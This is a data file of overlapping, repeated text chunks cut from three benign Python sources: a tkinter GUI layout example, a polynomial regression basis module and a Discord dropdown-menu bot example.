"Label(master, text = \"Width\") # grid method to arrange labels in respective #",
"pady = 2) # entry widgets, used to take entry from user e1",
"# infinite loop which can be terminated # by keyboard or mouse interrupt",
"= 2) # checkbutton widget c1 = Checkbutton(master, text = \"Preserve\") c1.grid(row =",
"main tkinter window/toplevel master = Tk() # this will create a label widget",
"widget l1 = Label(master, text = \"Height\") l2 = Label(master, text = \"Width\")",
"W, columnspan = 2) # adding image (remember image should be PNG and",
"text = \"Zoom out\") # arranging button widgets b1.grid(row = 2, column =",
"column = 0, sticky = W, pady = 2) l2.grid(row = 1, column",
"labels in respective # rows and columns as specified l1.grid(row = 0, column",
"= W, pady = 2) # entry widgets, used to take entry from",
"img.subsample(2, 2) # setting image with the help of label #Label(master, image =",
"# columnspan = 2, rowspan = 2, padx = 5, pady = 5)",
"label widget l1 = Label(master, text = \"Height\") l2 = Label(master, text =",
"l2.grid(row = 1, column = 20, sticky = W, pady = 2) #",
"E) # infinite loop which can be terminated # by keyboard or mouse",
"e1.grid(row = 0, column = 1, pady = 2) e2.grid(row = 1, column",
"should be PNG and not JPG) #img = PhotoImage(file = r\"C:\\Users\\Admin\\Pictures\\capture1.png\") #img1 =",
"= r\"C:\\Users\\Admin\\Pictures\\capture1.png\") #img1 = img.subsample(2, 2) # setting image with the help of",
"help of label #Label(master, image = img1).grid(row = 0, column = 2, #",
"= Entry(master) e2 = Entry(master) # this will arrange entry widgets e1.grid(row =",
"* # creating main tkinter window/toplevel master = Tk() # this will create",
"= 2, column = 0, sticky = W, columnspan = 2) # adding",
"sticky = W, pady = 2) # entry widgets, used to take entry",
"(remember image should be PNG and not JPG) #img = PhotoImage(file = r\"C:\\Users\\Admin\\Pictures\\capture1.png\")",
"= PhotoImage(file = r\"C:\\Users\\Admin\\Pictures\\capture1.png\") #img1 = img.subsample(2, 2) # setting image with the",
"PhotoImage(file = r\"C:\\Users\\Admin\\Pictures\\capture1.png\") #img1 = img.subsample(2, 2) # setting image with the help",
"widget b1 = Button(master, text = \"Zoom in\") b2 = Button(master, text =",
"= 0, column = 1, pady = 2) e2.grid(row = 1, column =",
"1, pady = 2) # checkbutton widget c1 = Checkbutton(master, text = \"Preserve\")",
"= 0, sticky = W, columnspan = 2) # adding image (remember image",
"# arranging button widgets b1.grid(row = 2, column = 2, sticky = E)",
"column = 1, pady = 2) e2.grid(row = 1, column = 1, pady",
"specified l1.grid(row = 0, column = 0, sticky = W, pady = 2)",
"2) l2.grid(row = 1, column = 20, sticky = W, pady = 2)",
"arrange labels in respective # rows and columns as specified l1.grid(row = 0,",
"1, column = 1, pady = 2) # checkbutton widget c1 = Checkbutton(master,",
"W, pady = 2) l2.grid(row = 1, column = 20, sticky = W,",
"PNG and not JPG) #img = PhotoImage(file = r\"C:\\Users\\Admin\\Pictures\\capture1.png\") #img1 = img.subsample(2, 2)",
"Button(master, text = \"Zoom out\") # arranging button widgets b1.grid(row = 2, column",
"take entry from user e1 = Entry(master) e2 = Entry(master) # this will",
"20, sticky = W, pady = 2) # entry widgets, used to take",
"JPG) #img = PhotoImage(file = r\"C:\\Users\\Admin\\Pictures\\capture1.png\") #img1 = img.subsample(2, 2) # setting image",
"will arrange entry widgets e1.grid(row = 0, column = 1, pady = 2)",
"with the help of label #Label(master, image = img1).grid(row = 0, column =",
"= Entry(master) # this will arrange entry widgets e1.grid(row = 0, column =",
"= Label(master, text = \"Width\") # grid method to arrange labels in respective",
"button widget b1 = Button(master, text = \"Zoom in\") b2 = Button(master, text",
"* from tkinter.ttk import * # creating main tkinter window/toplevel master = Tk()",
"import tkinter module from tkinter import * from tkinter.ttk import * # creating",
"grid method to arrange labels in respective # rows and columns as specified",
"rows and columns as specified l1.grid(row = 0, column = 0, sticky =",
"sticky = E) # infinite loop which can be terminated # by keyboard",
"create a label widget l1 = Label(master, text = \"Height\") l2 = Label(master,",
"tkinter module from tkinter import * from tkinter.ttk import * # creating main",
"from user e1 = Entry(master) e2 = Entry(master) # this will arrange entry",
"= Tk() # this will create a label widget l1 = Label(master, text",
"column = 1, pady = 2) # checkbutton widget c1 = Checkbutton(master, text",
"text = \"Width\") # grid method to arrange labels in respective # rows",
"= 1, pady = 2) # checkbutton widget c1 = Checkbutton(master, text =",
"2) # checkbutton widget c1 = Checkbutton(master, text = \"Preserve\") c1.grid(row = 2,",
"0, sticky = W, columnspan = 2) # adding image (remember image should",
"and not JPG) #img = PhotoImage(file = r\"C:\\Users\\Admin\\Pictures\\capture1.png\") #img1 = img.subsample(2, 2) #",
"padx = 5, pady = 5) # button widget b1 = Button(master, text",
"b2 = Button(master, text = \"Zoom out\") # arranging button widgets b1.grid(row =",
"# checkbutton widget c1 = Checkbutton(master, text = \"Preserve\") c1.grid(row = 2, column",
"#img = PhotoImage(file = r\"C:\\Users\\Admin\\Pictures\\capture1.png\") #img1 = img.subsample(2, 2) # setting image with",
"# creating main tkinter window/toplevel master = Tk() # this will create a",
"# adding image (remember image should be PNG and not JPG) #img =",
"= \"Zoom in\") b2 = Button(master, text = \"Zoom out\") # arranging button",
"= 0, column = 2, # columnspan = 2, rowspan = 2, padx",
"and columns as specified l1.grid(row = 0, column = 0, sticky = W,",
"= 2) # entry widgets, used to take entry from user e1 =",
"widgets, used to take entry from user e1 = Entry(master) e2 = Entry(master)",
"= \"Zoom out\") # arranging button widgets b1.grid(row = 2, column = 2,",
"= \"Width\") # grid method to arrange labels in respective # rows and",
"2, sticky = E) b2.grid(row = 2, column = 3, sticky = E)",
"as specified l1.grid(row = 0, column = 0, sticky = W, pady =",
"column = 20, sticky = W, pady = 2) # entry widgets, used",
"this will arrange entry widgets e1.grid(row = 0, column = 1, pady =",
"E) b2.grid(row = 2, column = 3, sticky = E) # infinite loop",
"3, sticky = E) # infinite loop which can be terminated # by",
"tkinter window/toplevel master = Tk() # this will create a label widget l1",
"Entry(master) # this will arrange entry widgets e1.grid(row = 0, column = 1,",
"infinite loop which can be terminated # by keyboard or mouse interrupt mainloop()",
"adding image (remember image should be PNG and not JPG) #img = PhotoImage(file",
"sticky = W, columnspan = 2) # adding image (remember image should be",
"\"Zoom out\") # arranging button widgets b1.grid(row = 2, column = 2, sticky",
"e2.grid(row = 1, column = 1, pady = 2) # checkbutton widget c1",
"module from tkinter import * from tkinter.ttk import * # creating main tkinter",
"columns as specified l1.grid(row = 0, column = 0, sticky = W, pady",
"from tkinter.ttk import * # creating main tkinter window/toplevel master = Tk() #"
] |
[
"x = x.reshape((x.shape[0], 1)) return np.concatenate(tuple(self.apply(x)), axis=1) def fit(self, x, y): beta, *_",
"domain or self.domain x = np.linspace(domain[0], domain[1], n) return x, self(x) class PolynomialRegressionFunction:",
"return FittedFunction(self, beta, (x.min(), x.max())) class FittedFunction: def __init__(self, basis, beta, domain): self.basis",
"return x ** self.exponent class PolynomialRegressionBasis(RegressionBasis): def __init__(self, degree): super().__init__([PolynomialRegressionFunction(i) for i in",
"n) return x, self(x) class PolynomialRegressionFunction: def __init__(self, exponent): self.exponent = exponent def",
"f in self.basis_functions: yield f(x) def __call__(self, x): assert x.ndim == 1 x",
"def __init__(self, exponent): self.exponent = exponent def __str__(self): return f'x**{self.exponent}' def __call__(self, x):",
"__call__(self, x): return self.basis(x) @ self.beta def linspace(self, n=100, domain=None): domain = domain",
"class PolynomialRegressionBasis(RegressionBasis): def __init__(self, degree): super().__init__([PolynomialRegressionFunction(i) for i in range(degree + 1)]) self.degree",
"beta self.domain = domain def __call__(self, x): return self.basis(x) @ self.beta def linspace(self,",
"*_ = lstsq(self(x), y, rcond=None) return FittedFunction(self, beta, (x.min(), x.max())) class FittedFunction: def",
"== 1 x = x.reshape((x.shape[0], 1)) return np.concatenate(tuple(self.apply(x)), axis=1) def fit(self, x, y):",
"np.concatenate(tuple(self.apply(x)), axis=1) def fit(self, x, y): beta, *_ = lstsq(self(x), y, rcond=None) return",
"basis_functions def __str__(self): return ' + '.join(str(f) for f in self.basis_functions) def apply(self,",
"__call__(self, x): return x ** self.exponent class PolynomialRegressionBasis(RegressionBasis): def __init__(self, degree): super().__init__([PolynomialRegressionFunction(i) for",
"return x, self(x) class PolynomialRegressionFunction: def __init__(self, exponent): self.exponent = exponent def __str__(self):",
"' + '.join(str(f) for f in self.basis_functions) def apply(self, x): for f in",
"n=100, domain=None): domain = domain or self.domain x = np.linspace(domain[0], domain[1], n) return",
"class RegressionBasis: def __init__(self, basis_functions): self.basis_functions = basis_functions def __str__(self): return ' +",
"1 x = x.reshape((x.shape[0], 1)) return np.concatenate(tuple(self.apply(x)), axis=1) def fit(self, x, y): beta,",
"yield f(x) def __call__(self, x): assert x.ndim == 1 x = x.reshape((x.shape[0], 1))",
"= basis self.beta = beta self.domain = domain def __call__(self, x): return self.basis(x)",
"self.basis_functions = basis_functions def __str__(self): return ' + '.join(str(f) for f in self.basis_functions)",
"PolynomialRegressionFunction: def __init__(self, exponent): self.exponent = exponent def __str__(self): return f'x**{self.exponent}' def __call__(self,",
"<reponame>christiandorion/hecmtl<filename>third_party/longstaff_schwartz/regression_basis.py # -*- coding: utf-8 -*- import numpy as np from numpy.linalg import",
"domain): self.basis = basis self.beta = beta self.domain = domain def __call__(self, x):",
"1)) return np.concatenate(tuple(self.apply(x)), axis=1) def fit(self, x, y): beta, *_ = lstsq(self(x), y,",
"def fit(self, x, y): beta, *_ = lstsq(self(x), y, rcond=None) return FittedFunction(self, beta,",
"numpy.linalg import lstsq class RegressionBasis: def __init__(self, basis_functions): self.basis_functions = basis_functions def __str__(self):",
"x = np.linspace(domain[0], domain[1], n) return x, self(x) class PolynomialRegressionFunction: def __init__(self, exponent):",
"lstsq class RegressionBasis: def __init__(self, basis_functions): self.basis_functions = basis_functions def __str__(self): return '",
"def __call__(self, x): return x ** self.exponent class PolynomialRegressionBasis(RegressionBasis): def __init__(self, degree): super().__init__([PolynomialRegressionFunction(i)",
"def __call__(self, x): return self.basis(x) @ self.beta def linspace(self, n=100, domain=None): domain =",
"__str__(self): return ' + '.join(str(f) for f in self.basis_functions) def apply(self, x): for",
"np.linspace(domain[0], domain[1], n) return x, self(x) class PolynomialRegressionFunction: def __init__(self, exponent): self.exponent =",
"= x.reshape((x.shape[0], 1)) return np.concatenate(tuple(self.apply(x)), axis=1) def fit(self, x, y): beta, *_ =",
"x.max())) class FittedFunction: def __init__(self, basis, beta, domain): self.basis = basis self.beta =",
"import lstsq class RegressionBasis: def __init__(self, basis_functions): self.basis_functions = basis_functions def __str__(self): return",
"__init__(self, exponent): self.exponent = exponent def __str__(self): return f'x**{self.exponent}' def __call__(self, x): return",
"FittedFunction(self, beta, (x.min(), x.max())) class FittedFunction: def __init__(self, basis, beta, domain): self.basis =",
"domain[1], n) return x, self(x) class PolynomialRegressionFunction: def __init__(self, exponent): self.exponent = exponent",
"f(x) def __call__(self, x): assert x.ndim == 1 x = x.reshape((x.shape[0], 1)) return",
"-*- import numpy as np from numpy.linalg import lstsq class RegressionBasis: def __init__(self,",
"for f in self.basis_functions: yield f(x) def __call__(self, x): assert x.ndim == 1",
"self.basis(x) @ self.beta def linspace(self, n=100, domain=None): domain = domain or self.domain x",
"fit(self, x, y): beta, *_ = lstsq(self(x), y, rcond=None) return FittedFunction(self, beta, (x.min(),",
"coding: utf-8 -*- import numpy as np from numpy.linalg import lstsq class RegressionBasis:",
"domain def __call__(self, x): return self.basis(x) @ self.beta def linspace(self, n=100, domain=None): domain",
"basis self.beta = beta self.domain = domain def __call__(self, x): return self.basis(x) @",
"def linspace(self, n=100, domain=None): domain = domain or self.domain x = np.linspace(domain[0], domain[1],",
"def __init__(self, basis, beta, domain): self.basis = basis self.beta = beta self.domain =",
"apply(self, x): for f in self.basis_functions: yield f(x) def __call__(self, x): assert x.ndim",
"# -*- coding: utf-8 -*- import numpy as np from numpy.linalg import lstsq",
"x, self(x) class PolynomialRegressionFunction: def __init__(self, exponent): self.exponent = exponent def __str__(self): return",
"class PolynomialRegressionFunction: def __init__(self, exponent): self.exponent = exponent def __str__(self): return f'x**{self.exponent}' def",
"self.beta = beta self.domain = domain def __call__(self, x): return self.basis(x) @ self.beta",
"= domain or self.domain x = np.linspace(domain[0], domain[1], n) return x, self(x) class",
"beta, *_ = lstsq(self(x), y, rcond=None) return FittedFunction(self, beta, (x.min(), x.max())) class FittedFunction:",
"self.domain = domain def __call__(self, x): return self.basis(x) @ self.beta def linspace(self, n=100,",
"x): return self.basis(x) @ self.beta def linspace(self, n=100, domain=None): domain = domain or",
"return f'x**{self.exponent}' def __call__(self, x): return x ** self.exponent class PolynomialRegressionBasis(RegressionBasis): def __init__(self,",
"or self.domain x = np.linspace(domain[0], domain[1], n) return x, self(x) class PolynomialRegressionFunction: def",
"x, y): beta, *_ = lstsq(self(x), y, rcond=None) return FittedFunction(self, beta, (x.min(), x.max()))",
"np from numpy.linalg import lstsq class RegressionBasis: def __init__(self, basis_functions): self.basis_functions = basis_functions",
"basis_functions): self.basis_functions = basis_functions def __str__(self): return ' + '.join(str(f) for f in",
"self.exponent = exponent def __str__(self): return f'x**{self.exponent}' def __call__(self, x): return x **",
"basis, beta, domain): self.basis = basis self.beta = beta self.domain = domain def",
"axis=1) def fit(self, x, y): beta, *_ = lstsq(self(x), y, rcond=None) return FittedFunction(self,",
"x.reshape((x.shape[0], 1)) return np.concatenate(tuple(self.apply(x)), axis=1) def fit(self, x, y): beta, *_ = lstsq(self(x),",
"domain = domain or self.domain x = np.linspace(domain[0], domain[1], n) return x, self(x)",
"rcond=None) return FittedFunction(self, beta, (x.min(), x.max())) class FittedFunction: def __init__(self, basis, beta, domain):",
"self.exponent class PolynomialRegressionBasis(RegressionBasis): def __init__(self, degree): super().__init__([PolynomialRegressionFunction(i) for i in range(degree + 1)])",
"__init__(self, basis_functions): self.basis_functions = basis_functions def __str__(self): return ' + '.join(str(f) for f",
"y): beta, *_ = lstsq(self(x), y, rcond=None) return FittedFunction(self, beta, (x.min(), x.max())) class",
"as np from numpy.linalg import lstsq class RegressionBasis: def __init__(self, basis_functions): self.basis_functions =",
"return ' + '.join(str(f) for f in self.basis_functions) def apply(self, x): for f",
"import numpy as np from numpy.linalg import lstsq class RegressionBasis: def __init__(self, basis_functions):",
"(x.min(), x.max())) class FittedFunction: def __init__(self, basis, beta, domain): self.basis = basis self.beta",
"FittedFunction: def __init__(self, basis, beta, domain): self.basis = basis self.beta = beta self.domain",
"self.domain x = np.linspace(domain[0], domain[1], n) return x, self(x) class PolynomialRegressionFunction: def __init__(self,",
"y, rcond=None) return FittedFunction(self, beta, (x.min(), x.max())) class FittedFunction: def __init__(self, basis, beta,",
"for f in self.basis_functions) def apply(self, x): for f in self.basis_functions: yield f(x)",
"self.basis = basis self.beta = beta self.domain = domain def __call__(self, x): return",
"def __init__(self, basis_functions): self.basis_functions = basis_functions def __str__(self): return ' + '.join(str(f) for",
"def apply(self, x): for f in self.basis_functions: yield f(x) def __call__(self, x): assert",
"def __call__(self, x): assert x.ndim == 1 x = x.reshape((x.shape[0], 1)) return np.concatenate(tuple(self.apply(x)),",
"-*- coding: utf-8 -*- import numpy as np from numpy.linalg import lstsq class",
"f in self.basis_functions) def apply(self, x): for f in self.basis_functions: yield f(x) def",
"x): return x ** self.exponent class PolynomialRegressionBasis(RegressionBasis): def __init__(self, degree): super().__init__([PolynomialRegressionFunction(i) for i",
"RegressionBasis: def __init__(self, basis_functions): self.basis_functions = basis_functions def __str__(self): return ' + '.join(str(f)",
"self.basis_functions: yield f(x) def __call__(self, x): assert x.ndim == 1 x = x.reshape((x.shape[0],",
"beta, domain): self.basis = basis self.beta = beta self.domain = domain def __call__(self,",
"x.ndim == 1 x = x.reshape((x.shape[0], 1)) return np.concatenate(tuple(self.apply(x)), axis=1) def fit(self, x,",
"return np.concatenate(tuple(self.apply(x)), axis=1) def fit(self, x, y): beta, *_ = lstsq(self(x), y, rcond=None)",
"self(x) class PolynomialRegressionFunction: def __init__(self, exponent): self.exponent = exponent def __str__(self): return f'x**{self.exponent}'",
"= np.linspace(domain[0], domain[1], n) return x, self(x) class PolynomialRegressionFunction: def __init__(self, exponent): self.exponent",
"= lstsq(self(x), y, rcond=None) return FittedFunction(self, beta, (x.min(), x.max())) class FittedFunction: def __init__(self,",
"return self.basis(x) @ self.beta def linspace(self, n=100, domain=None): domain = domain or self.domain",
"** self.exponent class PolynomialRegressionBasis(RegressionBasis): def __init__(self, degree): super().__init__([PolynomialRegressionFunction(i) for i in range(degree +",
"def __str__(self): return ' + '.join(str(f) for f in self.basis_functions) def apply(self, x):",
"__call__(self, x): assert x.ndim == 1 x = x.reshape((x.shape[0], 1)) return np.concatenate(tuple(self.apply(x)), axis=1)",
"lstsq(self(x), y, rcond=None) return FittedFunction(self, beta, (x.min(), x.max())) class FittedFunction: def __init__(self, basis,",
"f'x**{self.exponent}' def __call__(self, x): return x ** self.exponent class PolynomialRegressionBasis(RegressionBasis): def __init__(self, degree):",
"self.beta def linspace(self, n=100, domain=None): domain = domain or self.domain x = np.linspace(domain[0],",
"= exponent def __str__(self): return f'x**{self.exponent}' def __call__(self, x): return x ** self.exponent",
"beta, (x.min(), x.max())) class FittedFunction: def __init__(self, basis, beta, domain): self.basis = basis",
"self.basis_functions) def apply(self, x): for f in self.basis_functions: yield f(x) def __call__(self, x):",
"@ self.beta def linspace(self, n=100, domain=None): domain = domain or self.domain x =",
"__init__(self, basis, beta, domain): self.basis = basis self.beta = beta self.domain = domain",
"assert x.ndim == 1 x = x.reshape((x.shape[0], 1)) return np.concatenate(tuple(self.apply(x)), axis=1) def fit(self,",
"__str__(self): return f'x**{self.exponent}' def __call__(self, x): return x ** self.exponent class PolynomialRegressionBasis(RegressionBasis): def",
"= basis_functions def __str__(self): return ' + '.join(str(f) for f in self.basis_functions) def",
"in self.basis_functions) def apply(self, x): for f in self.basis_functions: yield f(x) def __call__(self,",
"def __str__(self): return f'x**{self.exponent}' def __call__(self, x): return x ** self.exponent class PolynomialRegressionBasis(RegressionBasis):",
"class FittedFunction: def __init__(self, basis, beta, domain): self.basis = basis self.beta = beta",
"numpy as np from numpy.linalg import lstsq class RegressionBasis: def __init__(self, basis_functions): self.basis_functions",
"PolynomialRegressionBasis(RegressionBasis): def __init__(self, degree): super().__init__([PolynomialRegressionFunction(i) for i in range(degree + 1)]) self.degree =",
"+ '.join(str(f) for f in self.basis_functions) def apply(self, x): for f in self.basis_functions:",
"x): for f in self.basis_functions: yield f(x) def __call__(self, x): assert x.ndim ==",
"in self.basis_functions: yield f(x) def __call__(self, x): assert x.ndim == 1 x =",
"linspace(self, n=100, domain=None): domain = domain or self.domain x = np.linspace(domain[0], domain[1], n)",
"domain=None): domain = domain or self.domain x = np.linspace(domain[0], domain[1], n) return x,",
"x): assert x.ndim == 1 x = x.reshape((x.shape[0], 1)) return np.concatenate(tuple(self.apply(x)), axis=1) def",
"from numpy.linalg import lstsq class RegressionBasis: def __init__(self, basis_functions): self.basis_functions = basis_functions def",
"utf-8 -*- import numpy as np from numpy.linalg import lstsq class RegressionBasis: def",
"= beta self.domain = domain def __call__(self, x): return self.basis(x) @ self.beta def",
"exponent): self.exponent = exponent def __str__(self): return f'x**{self.exponent}' def __call__(self, x): return x",
"'.join(str(f) for f in self.basis_functions) def apply(self, x): for f in self.basis_functions: yield",
"x ** self.exponent class PolynomialRegressionBasis(RegressionBasis): def __init__(self, degree): super().__init__([PolynomialRegressionFunction(i) for i in range(degree",
"= domain def __call__(self, x): return self.basis(x) @ self.beta def linspace(self, n=100, domain=None):",
"exponent def __str__(self): return f'x**{self.exponent}' def __call__(self, x): return x ** self.exponent class",
"def __init__(self, degree): super().__init__([PolynomialRegressionFunction(i) for i in range(degree + 1)]) self.degree = degree"
] |
[
"The placeholder is what will be shown when no option is selected. #",
"list of the user's # selected options. We only want the first one.",
"the dropdown options. super().__init__( placeholder=\"Choose your favourite colour...\", min_values=1, max_values=1, options=options, ) async",
"view = DropdownView(bot) # Sending a message containing our View await ctx.respond(\"Pick your",
"perform other functions in the callback. # Alternatively you can use Interaction.client, so",
"The callback function # of this class is called when the user changes",
"to pass the bot instance. self.bot = bot_ # Set the options that",
"description=\"Your favourite colour is green\", emoji=\"🟩\"), discord.SelectOption(label=\"Blue\", description=\"Your favourite colour is blue\", emoji=\"🟦\"),",
"self.bot = bot_ super().__init__() # Adds the dropdown to our View object self.add_item(Dropdown(self.bot))",
"options.\"\"\" # Create the view containing our dropdown view = DropdownView(bot) # Sending",
"the three options. # The options parameter, contents shown above, define the dropdown",
"in the callback. # Alternatively you can use Interaction.client, so you don't need",
"the first one. await interaction.response.send_message(f\"Your favourite colour is {self.values[0]}\") # Defines a simple",
"await interaction.response.send_message(f\"Your favourite colour is {self.values[0]}\") # Defines a simple View that allows",
"Defines a simple View that allows the user to use the Select menu.",
"self.add_item(Dropdown(self.bot)) # Initializing the view and adding the dropdown can actually be done",
"is {self.values[0]}\") # Defines a simple View that allows the user to use",
"object, and the values attribute gets a list of the user's # selected",
"your favourite colour:\", view=view) @bot.event async def on_ready(): print(f\"Logged in as {bot.user} (ID:",
"# selected options. We only want the first one. await interaction.response.send_message(f\"Your favourite colour",
"colour(ctx: discord.ApplicationContext): \"\"\"Sends a message with our dropdown that contains colour options.\"\"\" #",
"and max values indicate we can only pick one of the three options.",
"options = [ discord.SelectOption(label=\"Red\", description=\"Your favourite colour is red\", emoji=\"🟥\"), discord.SelectOption(label=\"Green\", description=\"Your favourite",
"# Sending a message containing our View await ctx.respond(\"Pick your favourite colour:\", view=view)",
"instance. self.bot = bot_ # Set the options that will be presented inside",
"super().__init__() # Adds the dropdown to our View object self.add_item(Dropdown(self.bot)) # Initializing the",
"choice. class Dropdown(discord.ui.Select): def __init__(self, bot_: discord.Bot): # For example, you can use",
"message containing # the user's favourite colour or choice. The self object refers",
"class DropdownView(discord.ui.View): def __init__(self, bot_: discord.Bot): self.bot = bot_ super().__init__() # Adds the",
"interaction object to send a response message containing # the user's favourite colour",
"done in a one-liner if preferred: # super().__init__(Dropdown(self.bot)) bot = discord.Bot(debug_guilds=[...]) @bot.slash_command() async",
"colour options.\"\"\" # Create the view containing our dropdown view = DropdownView(bot) #",
"user changes their choice. class Dropdown(discord.ui.Select): def __init__(self, bot_: discord.Bot): # For example,",
"placeholder is what will be shown when no option is selected. # The",
"user or perform other functions in the callback. # Alternatively you can use",
"The min and max values indicate we can only pick one of the",
"Adds the dropdown to our View object self.add_item(Dropdown(self.bot)) # Initializing the view and",
"options that will be presented inside the dropdown: options = [ discord.SelectOption(label=\"Red\", description=\"Your",
"with our dropdown that contains colour options.\"\"\" # Create the view containing our",
"def __init__(self, bot_: discord.Bot): # For example, you can use self.bot to retrieve",
"colour:\", view=view) @bot.event async def on_ready(): print(f\"Logged in as {bot.user} (ID: {bot.user.id})\") print(\"------\")",
"one of the three options. # The options parameter, contents shown above, define",
"retrieve a user or perform other functions in the callback. # Alternatively you",
"description=\"Your favourite colour is blue\", emoji=\"🟦\"), ] # The placeholder is what will",
"callback(self, interaction: discord.Interaction): # Use the interaction object to send a response message",
"user's favourite colour or choice. The self object refers to the # Select",
"discord.Bot(debug_guilds=[...]) @bot.slash_command() async def colour(ctx: discord.ApplicationContext): \"\"\"Sends a message with our dropdown that",
"object self.add_item(Dropdown(self.bot)) # Initializing the view and adding the dropdown can actually be",
"self object refers to the # Select object, and the values attribute gets",
"bot_ # Set the options that will be presented inside the dropdown: options",
"to send a response message containing # the user's favourite colour or choice.",
"ctx.respond(\"Pick your favourite colour:\", view=view) @bot.event async def on_ready(): print(f\"Logged in as {bot.user}",
"def callback(self, interaction: discord.Interaction): # Use the interaction object to send a response",
"above, define the dropdown options. super().__init__( placeholder=\"Choose your favourite colour...\", min_values=1, max_values=1, options=options,",
"# Defines a custom Select containing colour options # that the user can",
"[ discord.SelectOption(label=\"Red\", description=\"Your favourite colour is red\", emoji=\"🟥\"), discord.SelectOption(label=\"Green\", description=\"Your favourite colour is",
"we can only pick one of the three options. # The options parameter,",
"emoji=\"🟥\"), discord.SelectOption(label=\"Green\", description=\"Your favourite colour is green\", emoji=\"🟩\"), discord.SelectOption(label=\"Blue\", description=\"Your favourite colour is",
"to our View object self.add_item(Dropdown(self.bot)) # Initializing the view and adding the dropdown",
"max values indicate we can only pick one of the three options. #",
"be presented inside the dropdown: options = [ discord.SelectOption(label=\"Red\", description=\"Your favourite colour is",
"discord.Bot): # For example, you can use self.bot to retrieve a user or",
"is green\", emoji=\"🟩\"), discord.SelectOption(label=\"Blue\", description=\"Your favourite colour is blue\", emoji=\"🟦\"), ] # The",
"__init__(self, bot_: discord.Bot): self.bot = bot_ super().__init__() # Adds the dropdown to our",
"interaction.response.send_message(f\"Your favourite colour is {self.values[0]}\") # Defines a simple View that allows the",
"colour or choice. The self object refers to the # Select object, and",
"our View await ctx.respond(\"Pick your favourite colour:\", view=view) @bot.event async def on_ready(): print(f\"Logged",
"options. We only want the first one. await interaction.response.send_message(f\"Your favourite colour is {self.values[0]}\")",
"containing colour options # that the user can choose. The callback function #",
"user to use the Select menu. class DropdownView(discord.ui.View): def __init__(self, bot_: discord.Bot): self.bot",
"bot_ super().__init__() # Adds the dropdown to our View object self.add_item(Dropdown(self.bot)) # Initializing",
"min and max values indicate we can only pick one of the three",
"the bot instance. self.bot = bot_ # Set the options that will be",
"callback. # Alternatively you can use Interaction.client, so you don't need to pass",
"Sending a message containing our View await ctx.respond(\"Pick your favourite colour:\", view=view) @bot.event",
"blue\", emoji=\"🟦\"), ] # The placeholder is what will be shown when no",
"options. super().__init__( placeholder=\"Choose your favourite colour...\", min_values=1, max_values=1, options=options, ) async def callback(self,",
"favourite colour is blue\", emoji=\"🟦\"), ] # The placeholder is what will be",
"other functions in the callback. # Alternatively you can use Interaction.client, so you",
"the view containing our dropdown view = DropdownView(bot) # Sending a message containing",
"super().__init__( placeholder=\"Choose your favourite colour...\", min_values=1, max_values=1, options=options, ) async def callback(self, interaction:",
"= [ discord.SelectOption(label=\"Red\", description=\"Your favourite colour is red\", emoji=\"🟥\"), discord.SelectOption(label=\"Green\", description=\"Your favourite colour",
"changes their choice. class Dropdown(discord.ui.Select): def __init__(self, bot_: discord.Bot): # For example, you",
"view containing our dropdown view = DropdownView(bot) # Sending a message containing our",
"the user's # selected options. We only want the first one. await interaction.response.send_message(f\"Your",
"that contains colour options.\"\"\" # Create the view containing our dropdown view =",
"options=options, ) async def callback(self, interaction: discord.Interaction): # Use the interaction object to",
"refers to the # Select object, and the values attribute gets a list",
"you don't need to pass the bot instance. self.bot = bot_ # Set",
"Set the options that will be presented inside the dropdown: options = [",
"Alternatively you can use Interaction.client, so you don't need to pass the bot",
"] # The placeholder is what will be shown when no option is",
"bot_: discord.Bot): self.bot = bot_ super().__init__() # Adds the dropdown to our View",
"a message containing our View await ctx.respond(\"Pick your favourite colour:\", view=view) @bot.event async",
"async def callback(self, interaction: discord.Interaction): # Use the interaction object to send a",
"Defines a custom Select containing colour options # that the user can choose.",
"function # of this class is called when the user changes their choice.",
"use the Select menu. class DropdownView(discord.ui.View): def __init__(self, bot_: discord.Bot): self.bot = bot_",
"import discord # Defines a custom Select containing colour options # that the",
"# Adds the dropdown to our View object self.add_item(Dropdown(self.bot)) # Initializing the view",
"a custom Select containing colour options # that the user can choose. The",
"be shown when no option is selected. # The min and max values",
"emoji=\"🟩\"), discord.SelectOption(label=\"Blue\", description=\"Your favourite colour is blue\", emoji=\"🟦\"), ] # The placeholder is",
"pick one of the three options. # The options parameter, contents shown above,",
"example, you can use self.bot to retrieve a user or perform other functions",
"the user changes their choice. class Dropdown(discord.ui.Select): def __init__(self, bot_: discord.Bot): # For",
"use Interaction.client, so you don't need to pass the bot instance. self.bot =",
"the # Select object, and the values attribute gets a list of the",
"use self.bot to retrieve a user or perform other functions in the callback.",
"only pick one of the three options. # The options parameter, contents shown",
"values indicate we can only pick one of the three options. # The",
"can actually be done in a one-liner if preferred: # super().__init__(Dropdown(self.bot)) bot =",
"indicate we can only pick one of the three options. # The options",
"discord.SelectOption(label=\"Green\", description=\"Your favourite colour is green\", emoji=\"🟩\"), discord.SelectOption(label=\"Blue\", description=\"Your favourite colour is blue\",",
"__init__(self, bot_: discord.Bot): # For example, you can use self.bot to retrieve a",
"the user's favourite colour or choice. The self object refers to the #",
"\"\"\"Sends a message with our dropdown that contains colour options.\"\"\" # Create the",
"the dropdown: options = [ discord.SelectOption(label=\"Red\", description=\"Your favourite colour is red\", emoji=\"🟥\"), discord.SelectOption(label=\"Green\",",
"# Select object, and the values attribute gets a list of the user's",
"first one. await interaction.response.send_message(f\"Your favourite colour is {self.values[0]}\") # Defines a simple View",
"View object self.add_item(Dropdown(self.bot)) # Initializing the view and adding the dropdown can actually",
"our dropdown view = DropdownView(bot) # Sending a message containing our View await",
"the callback. # Alternatively you can use Interaction.client, so you don't need to",
"will be presented inside the dropdown: options = [ discord.SelectOption(label=\"Red\", description=\"Your favourite colour",
"you can use Interaction.client, so you don't need to pass the bot instance.",
"# The placeholder is what will be shown when no option is selected.",
"Interaction.client, so you don't need to pass the bot instance. self.bot = bot_",
"max_values=1, options=options, ) async def callback(self, interaction: discord.Interaction): # Use the interaction object",
"# super().__init__(Dropdown(self.bot)) bot = discord.Bot(debug_guilds=[...]) @bot.slash_command() async def colour(ctx: discord.ApplicationContext): \"\"\"Sends a message",
"colour is blue\", emoji=\"🟦\"), ] # The placeholder is what will be shown",
"of this class is called when the user changes their choice. class Dropdown(discord.ui.Select):",
"don't need to pass the bot instance. self.bot = bot_ # Set the",
"Select object, and the values attribute gets a list of the user's #",
"is what will be shown when no option is selected. # The min",
"# Alternatively you can use Interaction.client, so you don't need to pass the",
"response message containing # the user's favourite colour or choice. The self object",
